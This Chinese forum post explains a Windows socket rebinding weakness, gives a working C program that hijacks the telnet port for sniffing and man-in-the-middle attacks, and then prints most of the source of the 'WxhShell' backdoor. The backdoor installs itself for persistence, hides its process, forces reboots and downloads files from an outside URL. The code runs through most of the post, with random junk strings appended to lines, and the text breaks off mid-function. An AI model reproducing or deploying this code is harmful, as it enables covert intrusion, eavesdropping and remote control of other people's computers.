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[讨论]用端口截听实现隐藏嗅探与攻击

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所在楼道
在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是: Ck"db30.  
  s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); 3?L[ohKH?:  
?d{O' &|:  
  saddr.sin_family = AF_INET; 'RzO`-dr  
cx&\oP  
  saddr.sin_addr.s_addr = htonl(INADDR_ANY); ;'08-Et  
8ZM#.yB B  
  bind(s,(SOCKADDR *)&saddr,sizeof(saddr)); }&2,!;"">3  
,&o^}TFkg  
  其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。 :eJJL,v  
,tg(aL  
  这意味着什么?意味着可以进行如下的攻击: <hTHY E=  
@EyB^T/  
  1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。 "bWx<  
k_zn>aR$F  
  2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到) iXL^[/}&?M  
d%epM5  
  3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。 n"D` =  
M*Ej*#  
  4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。  [?O4l`  
5 ;XYF0  
  其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。 3]9Rmx  
Wi>m}^}9  
  解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。 <p/2hHfiD  
g0}jE%)  
  下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。 uozq^sy  
@ F $}/  
  #include \@N~{72:k  
  #include CYwV]lq :s  
  #include 748:* (O  
  #include    ' ]+!i a  
  DWORD WINAPI ClientThread(LPVOID lpParam);   x a<KF  
  int main() !J X7y%J  
  { #)twk `!^  
  WORD wVersionRequested; A|:+c*7]  
  DWORD ret; qBh@^GxY),  
  WSADATA wsaData; ?CC.xE  
  BOOL val; G e]NA]<  
  SOCKADDR_IN saddr; QJrXn6`  
  SOCKADDR_IN scaddr; ~_N,zw{x  
  int err; ?E|=eO"I1  
  SOCKET s; cRD;a?0/6s  
  SOCKET sc; .35~+aqC  
  int caddsize; ecoI-@CAI  
  HANDLE mt; :l!sKT?:d!  
  DWORD tid;   lX"m |W  
  wVersionRequested = MAKEWORD( 2, 2 ); Ka-o$o[^u`  
  err = WSAStartup( wVersionRequested, &wsaData ); GA[D@Wy  
  if ( err != 0 ) { 8]`s&d@GY  
  printf("error!WSAStartup failed!\n"); fKqr$59>  
  return -1; HR8YPU5  
  } L[Z^4l_!  
  saddr.sin_family = AF_INET; X1a~l|$h  
   7vFmB  
  //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了 `Ds=a`^b  
<3@nv%  
  saddr.sin_addr.s_addr = inet_addr("192.168.0.60"); 3ej237~F,L  
  saddr.sin_port = htons(23); W,Q>3y*  
  if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) 'h'pM#D  
  { JQ0Z%;"  
  printf("error!socket failed!\n"); V*Fy@  
  return -1; 2)|=+DN;  
  } 5CN=a2&  
  val = TRUE; fx(8 o+  
  //SO_REUSEADDR选项就是可以实现端口重绑定的 o4EY2  
  if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0) (_@5V_U  
  { #t(/wa4  
  printf("error!setsockopt failed!\n"); 3))R91I  
  return -1; f~a 7E;y  
  } Is3Y>oX  
  //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码; 3?"gfw W  
  //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽 [#Gu?L_W  
  //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击 \:1$E[3v  
p.g>+7  
  if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR) mIYKzu_k=  
  { yGt [Qvx#  
  ret=GetLastError(); =CD6x= l6  
  printf("error!bind failed!\n"); Tr:@Dv.O  
  return -1; i*mU<:t  
  } ej kUNCKQt  
  listen(s,2);  XA;PWl5!  
  while(1) *kK +Nvt8s  
  { K g#Bg##  
  caddsize = sizeof(scaddr); ,"#nJC  
  //接受连接请求 ^K1mh9O  
  sc = accept(s,(struct sockaddr *)&scaddr,&caddsize); 4vG-d)"M2  
  if(sc!=INVALID_SOCKET) k`N*_/(|n  
  { ;r"r1'a+@  
  mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid); ~< UYJc  
  if(mt==NULL) IO8 @u;&  
  { 9ETdO,L)f  
  printf("Thread Creat Failed!\n"); 2D"my]FnF  
  break; Y96<c" t  
  } 4 5.g;  
  } AU`z.Isf  
  CloseHandle(mt); 7i xG{yu  
  } ?87\_wL/j  
  closesocket(s); G5t7KI  
  WSACleanup(); #BBDI  
  return 0; > _sSni  
  }   diM*jN#  
  DWORD WINAPI ClientThread(LPVOID lpParam) JC~sz^>p\  
  { <HRPloVKo  
  SOCKET ss = (SOCKET)lpParam; kn>qX{W  
  SOCKET sc; b~>@x{  
  unsigned char buf[4096]; DPW^OgL;  
  SOCKADDR_IN saddr; L9Zz-Dr s  
  long num; Y&=DjKoVh  
  DWORD val; ATc!c +  
  DWORD ret; &4WA/'>R  
  //如果是隐藏端口应用的话,可以在此处加一些判断 {4 vWSb  
  //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发   ?OnL,y|  
  saddr.sin_family = AF_INET; {N{eOa<HA  
  saddr.sin_addr.s_addr = inet_addr("127.0.0.1"); l 7dm@S  
  saddr.sin_port = htons(23); %{r3"Q=;W  
  if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) ~YW;'  
  { [Fag\/Y+  
  printf("error!socket failed!\n"); 5,f`5'$  
  return -1; MNe/H\  
  } HX| p4-L  
  val = 100; )^qXjF  
  if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) )_! a:  
  { r>bgCQ#-n  
  ret = GetLastError(); sXPva@8_  
  return -1; DcaKGjp  
  } RLQ*&[A}  
  if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) xE--)=<$  
  { QwFA0  
  ret = GetLastError(); ; t9_*)[  
  return -1; NkGtZ.!pk  
  } ShV_8F z  
  if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0) _/P;`@  
  { v.:Q& ]  
  printf("error!socket connect failed!\n"); Ex_dqko  
  closesocket(sc); X~o;jJC  
  closesocket(ss); p</t##]3ks  
  return -1; '*`n"cC:  
  } WixEnsJ  
  while(1) SbL7e#!!  
  { 7W4m&+  
  //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。 };9/J3]m  
  //如果是嗅探内容的话,可以再此处进行内容分析和记录 \A\?7#9\  
  //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。 Txe*$T,(  
  num = recv(ss,buf,4096,0); N&k\X]U  
  if(num>0) e"sv_$*  
  send(sc,buf,num,0); jb/C\2U4)  
  else if(num==0) Xu#?Lw  
  break; !JDuVqW  
  num = recv(sc,buf,4096,0); yNwSiZE X  
  if(num>0) TZ n2,N  
  send(ss,buf,num,0); ;QG8@ms|  
  else if(num==0) HXdo:#xEO  
  break; :si&A;k  
  } k:j?8o3  
  closesocket(ss); _N|A I"sj.  
  closesocket(sc); CUC]-]8  
  return 0 ; zJ1M$ U  
  } 69ycP(  
8>vNa  
VpbJe@*D  
========================================================== Q9p2.!/C1  
 v1?G  
下边附上一个代码,,WXhSHELL ~tW<]l7  
Eoo[H2=^H  
========================================================== jL 3 *m  
{~g7&+9x*  
#include "stdafx.h" dYwEVu6q  
6oq^n s-  
#include <stdio.h> Ym -U{a  
#include <string.h> i6;rh-M?.  
#include <windows.h> Ut1s~b1  
#include <winsock2.h> 7:$dl #  
#include <winsvc.h> q~AvxO  
#include <urlmon.h> @\-*aS_8>  
=q"0GUei3  
#pragma comment (lib, "Ws2_32.lib") q9^.f9-  
#pragma comment (lib, "urlmon.lib") V0#E7u`4  
0}k vuuR  
#define MAX_USER   100 // 最大客户端连接数 y^{ 4}^u-^  
#define BUF_SOCK   200 // sock buffer /<O9^hA|  
#define KEY_BUFF   255 // 输入 buffer l<"B[  
>A6PH*x  
#define REBOOT     0   // 重启 Cf<TDjU`|  
#define SHUTDOWN   1   // 关机 lY |]  
9]{Ss$W3x  
#define DEF_PORT   5000 // 监听端口 3],(oQq^  
~g~`,:Qc  
#define REG_LEN     16   // 注册表键长度 7 X~JLvN  
#define SVC_LEN     80   // NT服务名长度 geqx":gpx9  
wmP[\^c%$j  
// 从dll定义API H3JDA^5  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); 8L@@UUjr  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); AMK3I`=8WO  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); 0R&7vn  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); f,@~@f X  
GsqO^SV  
// wxhshell配置信息 7:.!R^5H  
struct WSCFG { 4tapQgj24  
  int ws_port;         // 监听端口 diw5h};W  
  char ws_passstr[REG_LEN]; // 口令 UyNP:q:  
  int ws_autoins;       // 安装标记, 1=yes 0=no L#_QrR6Sny  
  char ws_regname[REG_LEN]; // 注册表键名 M|$A)D1  
  char ws_svcname[REG_LEN]; // 服务名 Q6[h;lzGV  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 :f RGXrn  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 g-+/zEOUS  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 %NL7XU[~  
int ws_downexe;       // 下载执行标记, 1=yes 0=no x1#6~283  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" &v r0{]V^  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 6<n+p'+n  
5pE@Ww  
}; BUsAEw M  
u,@x7a,z  
// default Wxhshell configuration @Z~0!VY  
struct WSCFG wscfg={DEF_PORT, CT{ X$N  
    "xuhuanlingzhe", ".fnx8v,  
    1, p*Hf<)}  
    "Wxhshell", 8O^z{Yh7  
    "Wxhshell", K5d>{c  
            "WxhShell Service", 79M` ?xm  
    "Wrsky Windows CmdShell Service", mw=keY9]  
    "Please Input Your Password: ", Fz_8m4  
  1, qI\B;&hr(  
  "http://www.wrsky.com/wxhshell.exe", ?eR^\-e  
  "Wxhshell.exe" DTx>^<Tk  
    }; lN::veD  
r P&.`m88n  
// 消息定义模块 <$'FTv  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; /vFdhh  
char *msg_ws_prompt="\n\r? for help\n\r#>"; 9t0NO-a  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; X]%n#\t,]  
char *msg_ws_ext="\n\rExit."; cU=EXyP%  
char *msg_ws_end="\n\rQuit."; _&F*4t!n_  
char *msg_ws_boot="\n\rReboot..."; ?u M2|Nk  
char *msg_ws_poff="\n\rShutdown..."; ,W;2A0A?X  
char *msg_ws_down="\n\rSave to "; ljj}X JQ  
j}DG +M  
char *msg_ws_err="\n\rErr!"; ?|we.{  
char *msg_ws_ok="\n\rOK!"; N7qSbiRf<  
<UO'&?G  
char ExeFile[MAX_PATH]; >c8EgSZJ  
int nUser = 0; J$i5A9IUr  
HANDLE handles[MAX_USER]; W6uz G  
int OsIsNt; nrI-F,1  
09rbu\h  
SERVICE_STATUS       serviceStatus; L [7Aa"R  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; 5?4jD]Z  
Y[ toN9,  
// 函数声明 i!EN/Bd  
int Install(void); ?e!mv}B_  
int Uninstall(void); \*$''`b)j  
int DownloadFile(char *sURL, SOCKET wsh); q:ZF6o`Z83  
int Boot(int flag); dJd(m&.|N  
void HideProc(void); c4n]#((%a  
int GetOsVer(void); {%3sj"suB  
int Wxhshell(SOCKET wsl); 2AI~Jm#  
void TalkWithClient(void *cs); VE5M}kDCZ  
int CmdShell(SOCKET sock); %,G0)t   
int StartFromService(void); ~!a~ -:#  
int StartWxhshell(LPSTR lpCmdLine); ^iaG>rvA  
Aaq!i*y  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); &'-ze,k}  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); E"$AOM?(*i  
%B'*eBj~fw  
// 数据结构和表定义 8yV?l7  
SERVICE_TABLE_ENTRY DispatchTable[] = &]Q\@;]Aq  
{ juQQ  
{wscfg.ws_svcname, NTServiceMain}, V8.o}BWY  
{NULL, NULL} w qLY \  
}; @e_<OU  
!4B($]t  
// 自我安装 jN43vHm\Y9  
int Install(void) + \AiUY  
{ V.*0k~  
  char svExeFile[MAX_PATH]; |+Fko8-  
  HKEY key; gIfl}Jat  
  strcpy(svExeFile,ExeFile); Wq1%  
hWujio/h  
// 如果是win9x系统,修改注册表设为自启动 yH0BNz8V  
if(!OsIsNt) { LD~/*  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { <Prz>qL$  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); ], HF) 21  
  RegCloseKey(key); Oi=c 6n  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { se1\<YHDS  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); ')Drv)L  
  RegCloseKey(key); 8f37o/L  
  return 0; - kVt_  
    } MwN.Ll  
  } *uq;O*s  
} &nk[gb o\  
else { D/1f> sl  
WZ a?Xb  
// 如果是NT以上系统,安装为系统服务 Rs<li\GS  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); Bu\:+3)  
if (schSCManager!=0) K(+ ~#$|-~  
{ Tq7cZe"6  
  SC_HANDLE schService = CreateService n .{Ud\|  
  ( T(E$0a)#  
  schSCManager, #R<ErX)F  
  wscfg.ws_svcname, 0Y8Si^T  
  wscfg.ws_svcdisp, O|opNr  
  SERVICE_ALL_ACCESS, f?OFMac  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , yaiw|j`A  
  SERVICE_AUTO_START, Ydw04WEJ  
  SERVICE_ERROR_NORMAL, Dl2`b">u  
  svExeFile, O(~74:#*  
  NULL, u/5 ^N^@^  
  NULL, 38 Q>x  
  NULL, mlsM;A d2  
  NULL, Gy+/P6  
  NULL Lb2bzZbhx  
  ); M PhG:^g  
  if (schService!=0) $n30[P@p;  
  { /~?'zr  
  CloseServiceHandle(schService); &\Es\qVSf  
  CloseServiceHandle(schSCManager); `@$qy&AJ  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); Sl,\  <a  
  strcat(svExeFile,wscfg.ws_svcname); YY\$lM  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { BB&7VSgc-  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); |;XkU`G  
  RegCloseKey(key); 8.S&J6  
  return 0; Cpm&w?6  
    } }pOem}  
  } g]sc)4  
  CloseServiceHandle(schSCManager); j:)"s_  
} vhA 4ol  
} z?NMQ8l|:6  
S${n:e0\  
return 1; g%P6f  
} Sm@T/+uG:  
?Vy% <f$  
// 自我卸载 IQ$cLr-S  
int Uninstall(void) A2fc_A/a  
{ gLyXe,Jp  
  HKEY key; C5q n(tv  
\e89 >m  
if(!OsIsNt) { nH6Ny  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) {  /i'dhiG  
  RegDeleteValue(key,wscfg.ws_regname); |\PI"rW  
  RegCloseKey(key); .c+NsI9}  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { ~N<zv( {lG  
  RegDeleteValue(key,wscfg.ws_regname); xc4g`Xi  
  RegCloseKey(key); 6:Fb>|]*PY  
  return 0; !fwMkws  
  } :gD=F&V  
} 7Nu.2qE  
} ?pE)K<+Zkf  
else { k0@b"y*  
4=BIYC"Lu  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); Ez\TwK  
if (schSCManager!=0) 3sh}(  
{ #(i9G^K  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); :eL{&&6  
  if (schService!=0) ]Alv5?E60  
  { /2%646  
  if(DeleteService(schService)!=0) { Aoi) 11>  
  CloseServiceHandle(schService); c#-o@`Po  
  CloseServiceHandle(schSCManager); 0j}!4D+  
  return 0; >-%tvrS%  
  } J@ CKgE  
  CloseServiceHandle(schService); 7?U)V03  
  } G+?Z=A:T8  
  CloseServiceHandle(schSCManager); `#/0q*$  
} ?@*hU2MTC  
} 0bl?dOV{  
%< ^IAMkp  
return 1; 8)Z)pCN  
} DlMT<ld  
WQJnWe   
// 从指定url下载文件 -o+<m4he  
int DownloadFile(char *sURL, SOCKET wsh) zwLJ|>  
{ |TQ#[9C0  
  HRESULT hr; pXoD*o b  
char seps[]= "/"; IqA'Vz,lL  
char *token; S)?V;@p6  
char *file; Lrrc&;  
char myURL[MAX_PATH]; 43'!<[?x  
char myFILE[MAX_PATH]; o)V@|i0Js  
s*g`| E{M  
strcpy(myURL,sURL); %X5p\VS\7  
  token=strtok(myURL,seps); {Xjj-@  
  while(token!=NULL) HQy:,_f@  
  { prk@uYCa =  
    file=token; >bLhCgF:"  
  token=strtok(NULL,seps); "mtEjK5  
  } }zO>y%eI  
*!m\%*y{  
GetCurrentDirectory(MAX_PATH,myFILE); j5Cf\*B4J  
strcat(myFILE, "\\"); z]49dCN  
strcat(myFILE, file); vWs#4JoG  
  send(wsh,myFILE,strlen(myFILE),0); Y\ C"3+I  
send(wsh,"...",3,0); L2Vj2o"x?  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); 2]UwIxzR  
  if(hr==S_OK) 2+oS'nL  
return 0; ]4X08Cm^  
else x@p1(V.  
return 1; p=d,kY  
>53Hqzm&  
} gb^<6BYUG  
~_]i'ii8  
// 系统电源模块 M669G;w(K  
int Boot(int flag) \dHdL\f  
{ sqv!,@*q  
  HANDLE hToken; HYwtGj~5  
  TOKEN_PRIVILEGES tkp; v[b|J7k  
N|3a(mtiZ'  
  if(OsIsNt) { _g]h \3  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); wqasI@vyu  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); tt03 gU`  
    tkp.PrivilegeCount = 1;  84g8$~M  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; "Q.KBX v/  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); Njmb{L]Cps  
if(flag==REBOOT) { 3-T"[tCe  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) Htm;N2$d  
  return 0; -%_vb6u  
} 9$WA<1PK+  
else { }I"k=>Ycns  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) ?58*#'r  
  return 0; L$3{L"/   
}  5?34<B  
  } ai]KH7  
  else { 6[3>[ej:x  
if(flag==REBOOT) { wu;^fL  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) QR\2 %}9b  
  return 0; ,KaO8^PB  
} +ZJ1> n  
else { G<FB:?|  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) (r-8*)Qh8  
  return 0; 9`Y\`F#}q  
} ~93#L_V_O  
} _ YcIG OL  
+EvY-mwfQ  
return 1; THcX.%ToT  
} 'p&q}IO  
*EF`s~  
// win9x进程隐藏模块 CP LsSv5  
void HideProc(void) jJK@i\bU_  
{ eEX*\1Gg  
,xg(F0q  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); Q[&CtM  
  if ( hKernel != NULL ) 0[92&:c,  
  { ZJOO*S  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); gCZm7dgo  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); ,H@ x.  
    FreeLibrary(hKernel); =PmIrvr'[5  
  } " XlXu  
yUX<W'-Hev  
return; ]DK.4\^  
} t/c)[l hV  
Jyyr'1/<k  
// 获取操作系统版本 -"x25~k!?F  
int GetOsVer(void) Jzj>=jWX@  
{ -f=4\3y3p  
  OSVERSIONINFO winfo; <(x!P=NM-  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); Vb/XT{T;b  
  GetVersionEx(&winfo); c#T0n !}  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) 3 Bn9Ce=  
  return 1; RsnFjfb'  
  else 7KZ>x*o  
  return 0; : G0^t  
} AfJ.SNE  
ZWy,NN1  
// 客户端句柄模块 Rqun}v}  
int Wxhshell(SOCKET wsl) m$A-'*'  
{ f4+}k GJN  
  SOCKET wsh; d^G5Pq  
  struct sockaddr_in client;  r95$( N  
  DWORD myID; sXR}#*8p  
csms8J  
  while(nUser<MAX_USER) nm !H&#<  
{ p&cJo<]=LE  
  int nSize=sizeof(client); l1D"*J 2`  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); Wfj*)j Q  
  if(wsh==INVALID_SOCKET) return 1; .ot[_*A.FD  
~MZ.988:<  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); =d1i<iw?-  
if(handles[nUser]==0) jWerX -$  
  closesocket(wsh); V1\x.0Fs  
else XV0t 8#T2  
  nUser++; Q=.j>aM+_  
  } '-KrneZ!  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); E@S5|CM  
q-nM]Gm  
  return 0; ARa9Ia{@  
} #{Gojg`5O  
P:tl)ob  
// 关闭 socket 6l?\iE  
void CloseIt(SOCKET wsh) Tp fC  
{ ^]1M8R,  
closesocket(wsh); P] 9-+  
nUser--; r Q$Jk[Y  
ExitThread(0); x\!Uk!fM  
} bx%P-r31  
b}5hqIy  
// 客户端请求句柄 qC$h~Epp4  
void TalkWithClient(void *cs) D4W^{/S  
{ J3#  
U{~R39  
  SOCKET wsh=(SOCKET)cs; \`,,r_tO  
  char pwd[SVC_LEN]; <aEY=IF4  
  char cmd[KEY_BUFF]; `Pe WV[?  
char chr[1]; .~fAcc{Qj  
int i,j; Q.]RYv}\  
*Zi:^<hv  
  while (nUser < MAX_USER) { mtu`m6Xix  
UkV{4*E  
if(wscfg.ws_passstr) { fxL0"Ry  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); =a3qpPkx  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); iPoDesp  
  //ZeroMemory(pwd,KEY_BUFF); kqie|_y  
      i=0; h>[][c(b  
  while(i<SVC_LEN) { 0(~,U!g[=  
Qg;?C  
  // 设置超时 h(VF  
  fd_set FdRead; 6 su^yt  
  struct timeval TimeOut; ^@0-E@ {c  
  FD_ZERO(&FdRead); LV X01ox$  
  FD_SET(wsh,&FdRead); " O,TL *$  
  TimeOut.tv_sec=8; #`9D,+2iB%  
  TimeOut.tv_usec=0; V=g<3R&  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); ntT~_Ba8;u  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); MVpk/S%W  
Z>#MTxU(  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); ^7l^ /GSO  
  pwd=chr[0]; ZHku3)V=o  
  if(chr[0]==0xd || chr[0]==0xa) { G~\ SI.  
  pwd=0; ,`lVB#|  
  break; `*nK@:  
  } kTLA["<m  
  i++; 8O5@FU 3  
    } uBe1{Z  
;f8$vW ];  
  // 如果是非法用户,关闭 socket 5c~OG6COx  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); pWwB<F  
} ages-Z_X  
4l~0LdYXKm  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); LFx*_3a  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); m8|&z{  
`Oc`I9  
while(1) { `jur`^S|  
@fH?y Z=>  
  ZeroMemory(cmd,KEY_BUFF); %7$oig\wE  
(HUGgX"=  
      // 自动支持客户端 telnet标准   zmxrz[  
  j=0; n?QpVROo\  
  while(j<KEY_BUFF) { EQ j2:9f  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); esM< .  
  cmd[j]=chr[0]; kXq*Jq  
  if(chr[0]==0xa || chr[0]==0xd) { y!9facg  
  cmd[j]=0; T F!Lp:  
  break; +C{ %pF  
  } % DQ.f*%  
  j++; #]yb;L  
    } ZZa$/q"  
]byj[Gd  
  // 下载文件 C<.t'|  
  if(strstr(cmd,"http://")) { o 6$Q>g`]  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); |xTf:@hgHf  
  if(DownloadFile(cmd,wsh)) `3$S^|v  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); nJTV@m XVq  
  else aQ ~  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); &pZUe`3  
  } 2S1wL<qP  
  else { 9's/~T  
MR90}wXE  
    switch(cmd[0]) { z/7H/~d  
  $ V"~\h8  
  // 帮助 k!]Tg"]JAh  
  case '?': { Kl[WscR  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); m6bI<C3^5  
    break; K%<Z"2!+  
  } saH +C@_,  
  // 安装 8VLr*83~8  
  case 'i': { - v9V/LJ  
    if(Install()) OC'cP[$ _  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); BZqb o`9  
    else =>6Z"LD(  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); n>X  
    break; $S$%avRX  
    } zxCxGT\;  
  // 卸载 V#W(c_g  
  case 'r': { 31|Vb  
    if(Uninstall()) l_LfVON  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); >RxZ-.,a  
    else voaRh@DZ%/  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); }k}5\%#li5  
    break; wX7B&w8wV  
    } d}b# "A  
  // 显示 wxhshell 所在路径 EkV v  
  case 'p': { p/WEQ2   
    char svExeFile[MAX_PATH]; K}O~tff  
    strcpy(svExeFile,"\n\r"); {S\cpCI`  
      strcat(svExeFile,ExeFile); GZ@!jF>!u  
        send(wsh,svExeFile,strlen(svExeFile),0); WJ\YKXG  
    break; oZ%t!Fl1  
    } 4;|&}Ij  
  // 重启 m%q#x8Fp  
  case 'b': { a2iaP  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); 2o/}GIKj  
    if(Boot(REBOOT)) qwA: o-q"  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); $$ \| 3rj!  
    else { Lm'Ony^F  
    closesocket(wsh); CQsVGn{x  
    ExitThread(0); /NLpk7r[\q  
    } |U$oS2U\m  
    break; <s-_ieW'  
    } LP_ !g  
  // 关机 +YhTb  
  case 'd': { <H)h+?&~d  
